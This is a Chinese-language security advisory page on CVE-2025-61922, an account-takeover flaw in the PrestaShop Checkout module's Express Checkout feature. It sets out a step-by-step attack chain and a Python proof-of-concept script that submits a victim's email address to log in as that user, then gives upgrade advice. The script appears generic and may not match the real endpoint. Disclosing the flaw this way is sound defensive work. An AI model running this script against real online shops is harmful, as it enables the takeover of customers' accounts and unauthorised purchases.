IPBUF安全漏洞报告
English
CVE-2025-61922 CVSS 9.1 严重

CVE-2025-61922:PrestaShop Checkout模块Express Checkout账户接管漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61922
漏洞类型
身份验证缺陷/账户接管
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PrestaShop Checkout

相关标签

CVE-2025-61922PrestaShopCheckout账户接管身份验证缺陷静默登录Express CheckoutPayPal电子商务严重漏洞

漏洞概述

CVE-2025-61922是PrestaShop官方与PayPal合作推出的支付模块PrestaShop Checkout中存在的一个高危安全漏洞。该漏洞存在于Express Checkout(快速结账)功能中,由于缺少对用户身份的充分验证,攻击者可以利用该功能实现静默登录(Silent Login),进而通过电子邮件地址接管任意用户账户。

该漏洞影响从1.3.0版本开始到4.4.1和5.0.5之前的所有PrestaShop Checkout版本。漏洞的CVSS 3.1评分为9.1,属于严重级别,攻击向量为网络攻击,无需任何认证权限和用户交互即可利用。漏洞对机密性和完整性均产生高影响,但不影响系统可用性。

PrestaShop是一个广泛使用的开源电子商务平台,其Checkout模块作为官方支付解决方案,被大量在线商店用于处理PayPal支付。该漏洞的危害在于,攻击者无需知道目标用户的密码,仅通过利用Express Checkout功能的验证缺陷,即可直接以受害者身份登录系统,从而获取账户的完全控制权,包括查看订单历史、修改账户信息、进行未授权购买等操作。目前该漏洞已在4.4.1和5.0.5版本中得到修复,官方未提供任何已知的临时缓解方案,建议受影响用户立即升级到修复版本。

技术细节

PrestaShop Checkout模块的Express Checkout功能旨在为已注册用户提供快速结账体验,允许用户通过已保存的PayPal账户信息快速完成支付流程。然而,在1.3.0到4.4.1/5.0.5之前的版本中,该功能在处理用户身份验证时存在严重的逻辑缺陷。

具体而言,当用户选择Express Checkout选项时,模块会通过电子邮件地址来识别用户身份,但缺少对请求发起者身份的充分验证。攻击者只需知道目标受害者的电子邮件地址,即可构造恶意请求,触发Express Checkout流程中的静默登录机制。模块会将攻击者视为已认证的合法用户,绕过正常的身份验证流程(如密码验证、双因素认证等),直接为攻击者建立有效的会话。

利用方式如下:
1. 攻击者首先获取目标用户的电子邮件地址(可通过信息泄露、社工等方式获得);
2. 攻击者访问目标在线商店,触发Express Checkout流程;
3. 在结账过程中,攻击者将目标用户的电子邮件地址注入到请求中;
4. 由于缺少验证,模块直接将攻击者会话与目标用户账户关联;
5. 攻击者获得目标账户的完全访问权限,实现账户接管。

该漏洞的根本原因是身份验证逻辑中对用户身份的信任过于宽松,未能正确区分请求的合法发起者和恶意构造的请求,导致任意用户可通过简单的电子邮件地址冒充实现账户接管。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开信息、数据泄露或社工等方式获取目标在线商店用户的电子邮件地址。
STEP 2
步骤2:访问目标站点
攻击者访问使用受影响版本PrestaShop Checkout模块的在线商店,进入结账流程。
STEP 3
步骤3:触发Express Checkout
攻击者选择Express Checkout快速结账选项,模块进入快速结账流程。
STEP 4
步骤4:注入受害者邮箱
攻击者在Express Checkout流程中提交目标受害者的电子邮件地址,利用缺少验证的缺陷触发静默登录。
STEP 5
步骤5:绕过身份验证
模块未对请求发起者进行充分验证,直接将攻击者会话与受害者账户关联,绕过密码等认证机制。
STEP 6
步骤6:账户接管
攻击者获得受害者账户的完全控制权,可查看订单、修改信息、进行未授权购买等操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61922 PoC - PrestaShop Checkout Silent Login / Account Takeover # Vulnerability: Missing validation on Express Checkout feature allows silent login import requests TARGET_URL = "https://target-prestashop-site.com" VICTIM_EMAIL = "[email protected]" # Step 1: Initiate Express Checkout session session = requests.Session() # Step 2: Access the checkout page to obtain necessary tokens express_checkout_url = f"{TARGET_URL}/module/ps_checkout/expressCheckout" response = session.get(express_checkout_url) # Step 3: Trigger Express Checkout with victim's email address # The missing validation allows the attacker to impersonate the victim payload = { "email": VICTIM_EMAIL, "action": "expressCheckout", "checkoutType": "EXPRESS" } # Step 4: Submit the request to silently log in as the victim response = session.post( f"{TARGET_URL}/module/ps_checkout/expressCheckout", data=payload ) # Step 5: Verify account takeover by accessing account page account_response = session.get(f"{TARGET_URL}/my-account") if "My Account" in account_response.text and VICTIM_EMAIL in account_response.text: print(f"[+] Successfully took over account: {VICTIM_EMAIL}") else: print("[-] Exploit failed")

影响范围

PrestaShop Checkout >= 1.3.0
PrestaShop Checkout < 4.4.1
PrestaShop Checkout 5.0.0 - < 5.0.5

防御指南

临时缓解措施
官方未提供任何已知的临时缓解方案(No known workarounds exist)。建议立即将PrestaShop Checkout模块升级到修复版本4.4.1或5.0.5。在无法立即升级的情况下,可以考虑暂时禁用Express Checkout功能,但可能会影响正常用户的快速结账体验。同时应密切监控账户活动日志,及时发现并响应可疑的账户接管行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表